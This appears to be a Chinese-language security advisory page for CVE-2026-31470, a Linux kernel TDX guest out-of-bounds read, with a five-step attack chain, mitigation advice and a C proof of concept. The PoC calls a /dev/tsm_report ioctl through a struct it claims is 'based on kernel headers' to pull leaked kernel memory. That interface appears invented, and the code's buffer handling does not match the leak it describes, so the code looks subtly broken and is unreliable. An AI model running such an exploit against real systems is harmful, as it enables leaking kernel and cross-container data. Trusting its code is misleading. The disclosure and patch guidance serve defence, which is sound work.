IPBUF安全漏洞报告
English
CVE-2026-31470 CVSS 7.1 高危

CVE-2026-31470 Linux内核TDX Guest越界读取漏洞

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31470
漏洞类型
越界读取
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelInformation DisclosureTDXOut-of-bounds ReadContainer Escape

漏洞概述

Linux内核virt: tdx-guest组件存在严重的信息泄露漏洞。在TDX远程证明场景中,由于未正确校验主机控制的`quote_buf->out_len`值,当主机指定过大的响应长度或在竞态条件下修改响应数据时,内核可能将超出分配页面的内容读取至用户空间。这可能导致敏感内核数据泄露,并在per-container配置下跨越容器保护边界,构成严重安全风险。

技术细节

该漏洞主要存在于Linux内核的virt: tdx-guest模块中,涉及TDX(可信域扩展)远程证明机制的缓冲区处理逻辑。在TDX架构下,Guest通过Quote向验证方证明自身状态,而Quote数据的输出长度由主机通过`quote_buf->out_len`参数控制。漏洞的根本原因在于内核代码完全信任了主机提供的长度值,未对其进行严格的边界检查。具体而言,当主机设置一个超过Guest预先分配的缓冲区大小(TSM_REPORT_OUTBLOB_MAX)的长度,或者在Guest读取数据过程中利用竞态条件动态修改该长度时,内核执行拷贝操作时会读取缓冲区之外的内存区域。由于攻击者仅需本地低权限即可触发该接口,且TDX环境下的某些部署采用per-container配置,这种越界读取不仅泄露内核内存,还可能突破容器隔离边界,导致跨容器的敏感信息泄露。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者在目标TDX虚拟机内获取本地低权限用户账户。
STEP 2
步骤2:触发证明请求
攻击者调用TDX Guest提供的Quote请求接口(如/dev/tsm_report),申请远程证明报告。
STEP 3
步骤3:主机篡改数据
恶意的主机或受控的HyperVisor拦截请求,并将共享内存中的`quote_buf->out_len`修改为超过Guest分配缓冲区的超大值。
STEP 4
步骤4:内核越界读取
内核处理请求时,信任了被篡改的长度值,执行拷贝操作,将分配页面之外的内核内存读取到用户空间缓冲区。
STEP 5
步骤5:信息泄露
攻击者从用户空间读取缓冲区数据,获取敏感的内核内存信息,并可能将其转发至证明服务器,甚至跨越容器边界。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31470: Linux Kernel TDX Guest Out-of-Bounds Read * This code requires a vulnerable TDX guest environment and a compromised/malicious host. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Definitions based on kernel headers #define TSM_REPORT_MAGIC 'R' #define TSM_GET_REPORT _IOWR(TSM_REPORT_MAGIC, 0x01, struct tsm_report) struct tsm_report { __u64 inblob; __u64 inblob_len; __u64 outblob; __u64 outblob_len; }; int main() { int fd; struct tsm_report report; char *buf = malloc(4096); if (!buf) { perror("malloc failed"); return 1; } // Open the TSM report device fd = open("/dev/tsm_report", O_RDWR); if (fd < 0) { perror("Failed to open /dev/tsm_report"); free(buf); return 1; } printf("[+] Attempting to trigger TDX report request...\n"); // Initialize request structure report.inblob = 0; // Optional input blob report.inblob_len = 0; report.outblob = (__u64)buf; report.outblob_len = 4096; // Guest allocation size /* * Trigger the ioctl. * Exploitation depends on the Host setting the 'out_len' field * in the shared Quote structure to a value larger than 4096 * before the Guest copies the data. */ if (ioctl(fd, TSM_GET_REPORT, &report) < 0) { perror("ioctl TSM_GET_REPORT failed"); } else { printf("[+] Request completed. Check buffer for leaked data.\n"); // Dump buffer to visualize potential leaked memory write(1, buf, 4096); } close(fd); free(buf); return 0; }

影响范围

Linux Kernel (stable branches before commits 02ca2d9d1977, 6f3c8795ae9b, a079a62883e3, c3fd16c3b98e)

防御指南

临时缓解措施
建议立即应用官方发布的内核补丁以修复此漏洞。如果无法立即重启更新,应严格限制非特权用户对TDX证明相关设备文件的访问权限,并监控系统日志中是否存在异常的Quote请求行为,以降低潜在的信息泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表